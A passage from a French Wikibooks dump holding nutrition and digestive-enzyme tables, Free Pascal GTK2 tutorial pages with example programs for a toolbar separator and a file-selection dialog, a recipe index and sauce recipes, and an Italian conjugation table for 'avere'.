style="margin-top: 0cm;" align="left" lang="de-DE"> <font size="2">Idem B2</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">B5</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Pousse des cheveux</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Santé de la peau</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">B6</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Métabolisme énergétique</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Différenciation cellulaire fœtale</font><font style="font-size: 8pt;" size="1"><font size="2"><!-- A vérifier !!! --></font></font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">B9 / B12</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; page-break-after: avoid;" align="left" lang="fr-FR"> <font size="2">Lutte contre l'anémie en favorisant l'absorption du Fer en liaison avec la vitamine C.</font></p> </li></ul> </td> </tr> </table> </center> === Les réactions d'hydrolyse enzymatique === Les réactions d'hydrolyse enzymatique qui nous intéressent sont celles qui se déroulent au niveau de l'organisme et en particulier au niveau de l'appareil digestif. ==== Généralités concernant les enzymes ==== ==== Les différentes enzymes digestives ==== Classification en fonction du lieu d'action (tube digestif : bouche, estomac, intestin grêle/duodénum) ou du substrat (glucides, lipides, protéines, acides nucléiques). Les glandes exocrines sécrètent dans le milieu extérieur. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="690"> <tr valign="top"> <td bgcolor="#ffcc00" width="127"> <p class="western" align="justify" lang="fr-FR"><b>substrat</b></p> </td> <td bgcolor="#ffcc00" width="128"> <p class="western" align="justify" lang="fr-FR"><b>enzyme</b></p> </td> <td bgcolor="#ffcc00" width="128"> <p class="western" align="justify" lang="fr-FR"><b>Agit sur&nbsp;?</b></p> </td> <td bgcolor="#ffcc00" width="128"> <p class="western" align="justify" lang="fr-FR"><b>Agit où&nbsp;?</b></p> </td> <td bgcolor="#ffcc00" width="128"> <p class="western" align="justify" lang="fr-FR"><b>Produit par&nbsp;?</b></p> </td> </tr> <tr> <td rowspan="4" width="127"> <p align="left" lang="fr-FR">Glucide</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Amylase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">amidon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Bouche, duodénum</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Glandes salivaires, pancréas</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">Invertase ou saccharase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">saccharose</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Jéjuno-iléon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Intestin grêle</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">Maltase</p> </td> <td width="128"> <p align="left" lang="fr-FR">maltose</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Jéjuno-iléon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Intestin grêle</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">Lactase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">lactose</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Jéjuno-iléon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Intestin grêle</p> </td> </tr> <tr> <td width="127"> <p class="western" align="left" lang="fr-FR">Lipides</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">lipase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">triglycérides</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">duodénum</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Pancréas</p> </td> </tr> <tr> <td width="127"> <p class="western" align="left" lang="fr-FR">Acides nucléiques</p> </td> <td width="128"> <p class="western" align="left" lang="en-GB">nucléase</p> </td> <td width="128"> <p class="western" align="left" lang="en-GB">ADN, ARN</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">duodénum</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">pancréas</p> </td> </tr> <tr> <td rowspan="4" width="127"> <p class="western" align="left" lang="fr-FR">protides</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">pepsine</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">protéines</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">estomac</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Estomac</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">Trypsine, chymotripsine, carboxypeptidase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">polypeptides</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">duodénum</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">pancréas</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">aminopeptidase</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Oligopeptide&nbsp;: tri ou tétrapeptides</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Jéjuno-iléon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Intestin grêle</p> </td> </tr> <tr> <td width="128"> <p class="western" align="left" lang="fr-FR">dipeptidase</p> </td> <td width="128"> <p align="left" lang="fr-FR">Dipeptide</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Jéjuno-iléon</p> </td> <td width="128"> <p class="western" align="left" lang="fr-FR">Intestin grêle</p> </td> </tr> </table> ==== Hydrolyses enzymatiques ==== Tous les enzymes digestifs sont des enzymes d'hydrolyse (enzymes qui scindent les macromolécules au niveau de liaisons spécifiques. Ils transforment des macromolécules (aliments) en molécules simples (nutriments) au niveau du tube digestif. Le passage à travers la barrière intestinale s'appelle l'absorption intestinale. ===== Cas de l'amidon ===== [[Image:Image110constituants.gif]] ===== Cas des protéines ===== [[Image:Image112constituants.gif]] ===== Cas du lactose ===== [[Image:Image114constituants.gif]] ===== Cas des triglycérides ===== [[Image:Image116constituants.gif]] Image:Image002.gif 3099 14633 2005-04-23T17:35:40Z Bionet 111 utilisation cellulaire de l'énergie potentielle des nutriments Image:Image004constituants.gif 3100 14634 2005-04-09T12:50:47Z Bionet 111 catalyse enzymatique (schéma général) catalyse enzymatique (schéma général) Image:Panneau attention 20.png 3101 14635 2005-04-09T12:55:38Z Bionet 111 Panneau Attention ! Panneau Attention ! Image:Exemple.gif 3102 14636 2005-04-09T12:57:11Z Bionet 111 Panneau annonce d'un exemple suite à un texte. Panneau annonce d'un exemple suite à un texte. Image:Image006constituants.gif 3103 14637 2005-04-09T13:11:10Z Bionet 111 rôles des nutriments (schéma général) rôles des nutriments (schéma général) Image:Image008constituants.gif 3104 14638 2005-04-09T13:12:57Z Bionet 111 le métabolisme (schéma général) le métabolisme (schéma général) Image:Programmation GTK2 en Pascal - gtk047.png 3105 14639 2005-04-09T14:53:25Z Didier 186 Exemple du programme gtk047.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk047.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkSeparatorToolItem 3106 14640 2005-04-09T14:54:13Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkSeparatorToolItem''' permet de gérer un séparateur d'éléments dans une barre d'outils. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] └─[[Programmation GTK2 en Pascal - GtkSeparatorToolItem|GtkSeparatorToolItem]] |} == Utilisation de base == === Création === Pour créer un séparateur, Gtk+ nous donne une fonction simple : function gtk_separator_tool_item_new : PGtkToolItem; NB : Contrairement aux fonctions usuelles de Gtk+ de création de contrôles, ces fonctions ne renvoient pas un <code>PGtkWidget</code> mais un <code>PGtkToolItem</code>. NB 2 : La fonction n'est pas encore définie dans les entêtes Pascal de Gtk+ de la version 1.9.8 de Free Pascal, il faut donc la définir nous-même. Cf le programme d'exemple ci-dessous. == Programme exemple == Nous allons créer dans une fenêtre une barre d'outils avec deux boutons encadrant un séparateur. Voilà le fichier <code>gtk047.pas</code> : program gtk047; uses glib2, gtk2; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; function gtk_separator_tool_item_new : PGtkToolItem; cdecl; external gtklib name 'gtk_separator_tool_item_new'; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBouton1 : PGtkToolItem; pBouton2 : PGtkToolItem; pSeparateur : PGtkToolItem; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk047 : Barre d''outils'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création du premier bouton pBouton1 := gtk_tool_button_new_from_stock(GTK_STOCK_OPEN); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton1, -1); // Création du séparateur pSeparateur := gtk_separator_tool_item_new; gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pSeparateur, -1); // Création du deuxième bouton pBouton2 := gtk_tool_button_new_from_stock(GTK_STOCK_QUIT); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton2, -1); g_signal_connect(pGTKOBJECT(pBouton2), 'clicked', G_CALLBACK(@gtk_main_quit), NULL); // Création du label pLabel := gtk_label_new('Label'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk047</code> : [[Image:Programmation GTK2 en Pascal - gtk047.png]] {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkSeparatorToolItem]] Image:Image010constituants.gif 3107 14641 2005-04-09T15:39:49Z Bionet 111 cellules et répartitions hydriques cellules et répartitions hydriques Image:Image012constituants.gif 3108 14642 2005-04-09T15:44:14Z Bionet 111 liaison hydrogène liaison hydrogène Image:Image014constituants.gif 3110 14643 2005-04-09T16:57:22Z Bionet 111 l'élément atomique l'élément atomique Image:Image016constituants.gif 3111 14644 2005-04-09T17:01:58Z Bionet 111 valence du carbone valence du carbone Image:Image018constituants.gif 3112 14645 2005-04-09T17:02:52Z Bionet 111 asymétrie du carbone tétravalent asymétrie du carbone tétravalent Cuisine:Recettes par pays 3113 40567 2006-04-19T18:16:48Z Duarna 465 /* Pays d'Asie */ +japon == Pays d'Europe == *[[Cuisine:Recettes de cuisine belge|Recettes de cuisine belge]] *[[Cuisine:Recettes de cuisine crétoise|Recettes de cuisine crétoise]] *[[Cuisine:Recettes de cuisine espagnole|Recettes de cuisine espagnole]] *[[Cuisine:Recettes de cuisine française|Recettes de cuisine française]] *[[Cuisine:Recettes de cuisine grecque|Recettes de cuisine grecque]] *[[Cuisine:Recettes de cuisine italienne|Recettes de cuisine italienne]] *[[Cuisine:Recettes de cuisine asturienne|Recettes de cuisine asturiennes]] == Pays d'Afrique == *[[Cuisine:Recettes de cuisine marocaine et berbère| Recettes de cuisine marocaine et berbère]] *[[Cuisine:Recettes de cuisine réunionaise| Recettes de cuisine réunionaise]] == Pays d'Amérique == *[[Cuisine:Recettes de cuisine antillaise|Recettes de cuisine antillaise]] *[[Cuisine:Recettes de cuisine brésilienne|Recettes de cuisine brésilienne]] *[[Cuisine:Recettes de cuisine canadienne|Recettes de cuisine canadienne]] *[[Cuisine:Recettes de cuisine des Etats-Unis|Recettes de cuisine des Etats-Unis]] *[[Cuisine:Recettes de cuisine mexicaine|Recettes de cuisine mexicaine]] == Pays d'Asie == *[[Cuisine:Recettes de cuisine indienne|Recettes de cuisine indienne]] *[[Cuisine:Recettes de cuisine coreenne|Recettes de cuisine coréenne]] *[[Cuisine:Recettes de cuisine japonaise|Recettes de cuisine japonaise]] == Pays d'Océanie == {{cuisine}} [[catégorie:cuisine]] Cuisine:Sauces 3114 20684 2005-09-06T12:50:31Z 194.250.149.181 __NOTOC__ == [[Cuisine:Mayonnaise|Mayonnaise]] == Différentes recettes à base de mayonnaise : # Aïoli # Sauce rouge == Sauce bolognaise == ==== Ingrédients ==== * 200g de boeuf haché * 400g de tomates concassées * 1 carotte * 1 oignon * 1 gousse d'ail * huile d'olive * basilic ==== Préparation ==== # Couper les carottes en petits dés. Les faire cuire dans une poêle avec un peu d'huile d'olive. # Avant la fin de cuisson des carottes, rajouter l'oignon et la gousse d'ail finement couper. # Rajouter la viande hachée et le concassé de tomate. # Laisser cuire encore une diziane de minutes en remuant. == Concassé de tomates == ==== Ingrédients ==== * 1 boîte de tomates pelées * 1 brique de coulis de tomate * 1 oignon * 1 gousse d'aïl * 1 filet d'huile d'olive * origan, thym ====Préparation ==== <table><tr><td width=200px> '''1''' Eplucher et couper l'oignon. Le faire revenir avec un peu d'huile. Ajouter l'aïl finement coupé, et les herbes.</td><td width=100px> </td><td>[[Image:Concasse de tomate1.JPG|200px]]</td></tr> <tr><td width=200px> '''2''' Ajouter les tomates pelées et le coulis de tomate. Mélanger et laisser cuire à feu doux pendant ½ heure.</td><td width=100px> </td><td>[[Image:Concasse de tomate2.JPG|200px]]</td></tr></table> == Sauce pesto == ==== Ingrédients ==== * 100g de pignons de pins * 4 gousses d'ail * un bouquet de basilic * 50g de parmesan ==== Préparation ==== # Mixer les gousses d'ail épluchées et les pignons grâce à un mixer. # Raper le parmesan et couper les feuilles de basilic. # Mélanger le tout. == Sauce aux champignons == <table><tr><td> Cette sauce accompagne très bien des pommes de terre, des pâtes ou même des escalopes de volaille. ==== Ingrédients ==== * 6 gros champignons * 10cl de crème fraîche (liquide, semi-liquide ...) * jus de cuisson d'escalopes de dinde ==== Préparation ==== # Laver, éplucher et couper les champignons en tranches. Les faire perdre leur eau dans une casserole. # Dans la poêle ayant servi à cuire les escalopes, ajouter la crème fraîche et les champignons. # Mélanger et servir.</td><td>[[Image:Sauce champignons.jpg|200px]]</td></tr></table> {{Cuisine}} [[en:Cookbook:Sauces]] Avere (avoir) 3117 14650 2005-04-10T06:28:39Z 24.201.40.27 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho</div> </td> <td width="26%"> <div align="center">avevo</div> </td> <td width="27%"> <div align="center">avr&ograve;</div> </td> <td width="24%"> <div align="center">ebbi</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai</div> </td> <td width="26%"> <div align="center">avevi</div> </td> <td width="27%"> <div align="center">avrai</div> </td> <td width="24%"> <div align="center">avesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha</div> </td> <td width="26%"> <div align="center">aveva</div> </td> <td width="27%"> <div align="center">avr&agrave;</div> </td> <td width="24%"> <div align="center">ebbe</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo</div> </td> <td width="26%"> <div align="center">avevamo</div> </td> <td width="27%"> <div align="center">avremo</div> </td> <td width="24%"> <div align="center">avemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">avete</div> </td> <td width="26%"> <div align="center">avevate</div> </td> <td width="27%"> <div align="center">avrete</div> </td> <td width="24%"> <div align="center">aveste</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno</div> </td> <td width="26%"> <div align="center">avevano</div> </td> <td width="27%"> <div align="center">avranno</div> </td> <td width="24%"> <div align="center">ebbero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho avuto</div> </td> <td width="26%"> <div align="center">avevo avuto</div> </td> <td width="27%"> <div align="center">avr&ograve; avuto</div> </td> <td width="24%"> <div align="center">ebbi avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai avuto</div> </td> <td width="26%"> <div align="center">avevi avuto</div> </td> <td width="27%"> <div align="center">avrai avuto</div> </td> <td width="24%"> <div align="center">avesti avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha avuto</div> </td> <td width="26%"> <div align="center">aveva avuto</div> </td> <td width="27%"> <div align="center">avr&agrave; avuto</div> </td> <td width="24%"> <div align="center">ebbe avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo avuto</div> </td> <td width="26%"> <div align="center">avevamo avuto</div> </td> <td width="27%"> <div align="center">avremo avuto</div> </td> <td width="24%"> <div align="center">avemmo avuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete avuto</div> </td> <td width="26%" height="13"> <div align="center">avevate avuto</div> </td> <td width="27%" height="13"> <div align="center">avrete avuto</div> </td> <td width="24%" height="13"> <div align="center">aveste avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno avuto</div> </td> <td width="26%"> <div align="center">avevano avuto</div> </td> <td width="27%"> <div align="center">avranno avuto</div> </td> <td width="24%"> <div align="center">ebbero avuto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbia</div> </td> <td width="26%"> <div align="center">avessi</div> </td> <td width="27%"> <div align="center">abbia avuto</div> </td> <td width="24%"> <div align="center">avessi avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbia</div> </td> <td width="26%"> <div align="center">avessi</div> </td> <td width="27%"> <div align="center">abbia avuto</div> </td> <td width="24%"> <div align="center">avessi avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbia</div> </td> <td width="26%"> <div align="center">avesse</div> </td> <td width="27%"> <div align="center">abbia avuto</div> </td> <td width="24%"> <div align="center">avesse avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo</div> </td> <td width="26%"> <div align="center">avessimo</div> </td> <td width="27%"> <div align="center">abbiamo avuto</div> </td> <td width="24%"> <div align="center">avessimo avuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">abbiate</div> </td> <td width="26%" height="13"> <div align="center">aveste</div> </td> <td width="27%" height="13"> <div align="center">abbiate avuto</div> </td> <td width="24%" height="13"> <div align="center">aveste avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiano</div> </td> <td width="26%"> <div align="center">avessero</div> </td> <td width="27%"> <div align="center">abbiano avuto</div> </td> <td width="24%"> <div align="center">avessero avuto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">avrei</div> </td> <td width="26%"> <div align="center">avei avuto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">avuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">avresti</div> </td> <td width="26%"> <div align="center">avresti avuto</div> </td> <td width="27%"> <div align="center">abbi</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">avrebbe</div> </td> <td width="26%"> <div align="center">avrebbe avuto</div> </td> <td width="27%"> <div align="center">abbia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">avremmo</div> </td> <td width="26%"> <div align="center">avremmo avuto</div> </td> <td width="27%"> <div align="center">abbiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avreste</div> </td> <td width="26%" height="13"> <div align="center">avreste avuto</div> </td> <td width="27%" height="13"> <div align="center">abbiate</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">avrebbero</div> </td> <td width="26%"> <div align="center">avrebbero avuto</div> </td> <td width="27%"> <div align="center">abbiano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">avere</div> </td> <td width="26%"> <div align="center">avere avuto</div> </td> <td width="27%"> <div align="center">avendo</div> </td> <td width="24%"> <div align="center">avendo avuto</div> </td> </tr> </table> Programmation GTK2 en Pascal - Les sélections 3118 14651 2005-04-10T13:17:11Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} Les '''sélections''' sont des fenêtres de dialogue souvent utilisées dans des applications pour sélectionner différentes choses : un fichier, une couleur, etc. Gtk+ en met à disposition un certain nombre, parmi ceux-ci nous verrons : * La sélection d'un fichier : [[Programmation GTK2 en Pascal - GtkFileSelection|GtkFileSelection]] * La sélection d'une couleur : [[Programmation GTK2 en Pascal - GtkColorSelectionDialog|GtkColorSelectionDialog]] Il existe également la sélection d'une police de caractères. Image:Programmation GTK2 en Pascal - gtk048.png 3119 14652 2005-04-10T13:19:10Z Didier 186 Exemple du programme gtk048.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk048.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkFileSelection 3120 14653 2005-04-10T13:20:05Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkFileSelection''' est une boîte de dialogue qui permet de demander à l'utilisateur de sélectionner un fichier particulier. Ce contrôle ne s'occupe de la récupération du nom du fichier. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] └─[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] └─[[Programmation GTK2 en Pascal - GtkFileSelection|GtkFileSelection]] |} == Utilisation de base == === Création === La fonction de création est simple : function gtk_file_selection_new(title : Pgchar) : PGtkWidget; Le paramètre <code>title</code> est le titre de votre boîte de dialogue : vous pouvez ainsi l'appeler suivant vos besoins « Ouvrir... », « Sélectionner un fichier...», etc. === Affichage === Puisque ce nouveau contrôle dérive directement du contrôle <code>[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]]</code>, il nous suffit d'utiliser la fonction : function gtk_dialog_run(dialog : PGtkDialog) : gint; La valeur de retour est importante pour savoir si l'utilisateur a sélectionné un nom de fichier ou pas. === Récupération du nom de fichier === Encore une fois, nous allons utiliser les propriétés du contrôle <code>[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]]</code>. Si la valeur de retour de <code>gtk_dialog_run</code> est <code>GTK_RESPONSE_OK</code>, alors un nom de fichier a été sélectionné, et on peut donc récupérer sa valeur avec la fonction suivante : function gtk_file_selection_get_filename(filesel : PGtkFileSelection) : Pgchar; Le paramètre <code>filesel</code> doit être utilisé avec la fonction de conversion GTK_FILE_SELECTION. Attention, la valeur de retour n'est pas modifiable. Pour toutes les autres valeurs de retour de la fonction <code>gtk_dialog_run</code>, cette fonction renverra le chemin complet du répertoire affiché au moment où l'utilisateur a annulé. === Initialisation du nom de fichier === Un nom de fichier peut être donné à la boîte de dialogue avant son affichage. Cela se fait avec la fonction : procedure gtk_file_selection_set_filename(filesel : PGtkFileSelection; filename : Pgchar); == Programme exemple == Nous allons créer une fenêtre avec un bouton nous permettant d'ouvrir une <code>GtkFileSelection</code>. Une fois le fichier sélectionné, nous affichons son chemin dans un label de la fenêtre. Voici le fichier <code>gtk048.pas</code> : program gtk048; uses glib2, gtk2; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; procedure OnToggleBtn(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pSelectionFichier : PGtkwidget; NomFichier : PGChar; begin // Création de la fenêtre de sélection pSelectionFichier := gtk_file_selection_new('Ouvrir...'); // On limite les actions à cette fenêtre gtk_window_set_modal(GTK_WINDOW(pSelectionFichier), TRUE); // Affichage fenêtre case gtk_dialog_run(GTK_DIALOG(pSelectionFichier)) of GTK_RESPONSE_OK : begin // Récuperation du chemin NomFichier := gtk_file_selection_get_filename(GTK_FILE_SELECTION(pSelectionFichier)); gtk_label_set_label(GTK_LABEL(AData), NomFichier); end; end; gtk_widget_destroy(pSelectionFichier); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBouton : PGtkToolItem; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk048 : Sélection de fichiers'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création du bouton ouvrir pBouton := gtk_tool_button_new_from_stock(GTK_STOCK_OPEN); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton, -1); // Création du label pLabel := gtk_label_new('Aucun fichier sélectionné.'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); // Signal du bouton gtk_signal_connect(pGTKOBJECT(pBouton), 'clicked', G_CALLBACK(@OnToggleBtn), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. Voila ce que donne l'exécution du programme gtk048 : La fenêtre principale s'affiche et on clique sur le bouton « Ouvrir », voilà la fenêtre de dialogue qui s'ouvre : [[Image:Programmation_GTK2_en_Pascal_-_gtk048.png]] {{Modèle:Programmation GTK2 en Pascal - Sélections}} [[Catégorie:Programmation GTK2 en 